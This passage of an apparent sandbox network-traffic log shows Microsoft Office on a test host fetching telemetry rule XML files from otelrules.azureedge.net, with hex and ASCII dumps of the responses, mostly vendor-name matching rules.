2024-11-21 13:26:55 UTC	4278	IN	Data Raw: 65 6d 65 6e 74 42 79 49 64 28 22 77 63 70 43 6f 6e 73 65 6e 74 42 61 6e 6e 65 72 43 74 72 6c 22 29 7d 2c 65 2e 65 6d 69 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 74 5b 6f 2d 31 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 3b 76 61 72 20 6e 3d 74 68 69 73 2e 65 76 65 6e 74 73 5b 65 5d 3b 6e 26 26 6e 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 74 29 7d 29 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 65 2e 61 64 64 45 76 65 6e 74 Data Ascii: ementById("wcpConsentBannerCtrl")},e.emit=function(e){for(var t=[],o=1;o<arguments.length;o++)t[o-1]=arguments[o];var n=this.events[e];n&&n.forEach((function(e){e.apply(null,t)}))},e.prototype.addEventListener=function(e,t,o){e.addEventListener?e.addEvent

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.5	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:54 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:54 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:54 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: ecab23c4-c01e-00ad-2963-3ba2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132654Z-178bfbc474bw8bwphC1NYC38b400000001c000000000aeec x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:54 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.5	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:54 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:54 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:54 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 957844e9-801e-008c-4868-3b7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132654Z-178bfbc474bbbqrhhC1NYCvw7400000001s00000000044w9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:54 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.5	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:54 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:55 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:54 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 89429c71-e01e-0003-137d-3b0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132654Z-1777c6cb754mqztshC1TEB4mkc0000000b2000000000mp31 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:55 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.5	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:54 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:55 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:55 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 1a8bda6d-001e-002b-2468-3b99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132655Z-178bfbc474bbcwv4hC1NYCypys00000001a000000000ga0p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:55 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.5	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:55 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:56 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:56 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 171aa64f-101e-005a-5b63-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132656Z-178bfbc474brk967hC1NYCfu60000000017g00000000hgc0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:56 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.5	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:56 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:56 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:56 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: de17e165-601e-0002-3161-3ba786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132656Z-178bfbc474b9xljthC1NYCtw9400000001e000000000bh0q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:56 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.5	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:56 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:56 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:56 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: fafd7d00-e01e-00aa-3a63-3bceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132656Z-178bfbc474brk967hC1NYCfu60000000019000000000ftd3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:56 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.5	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:56 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:57 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:57 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 02a30eba-b01e-0001-5b7b-3b46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132657Z-178bfbc474bpnd5vhC1NYC4vr400000001f000000000epeg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:57 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.5	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:57 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:57 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:57 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 9a395038-201e-0071-807e-3bff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132657Z-1777c6cb754n67brhC1TEBcp9c0000000b3000000000mtsx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:57 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.5	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:58 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:58 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:58 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: d5b120ed-d01e-0017-3f65-3bb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132658Z-178bfbc474bq2pr7hC1NYCkfgg00000001sg0000000024yy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:58 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.5	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:58 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:59 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:58 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 1a92378f-b01e-005c-6f7b-3b4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132658Z-1777c6cb754n67brhC1TEBcp9c0000000b90000000004f2w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:59 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:58 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
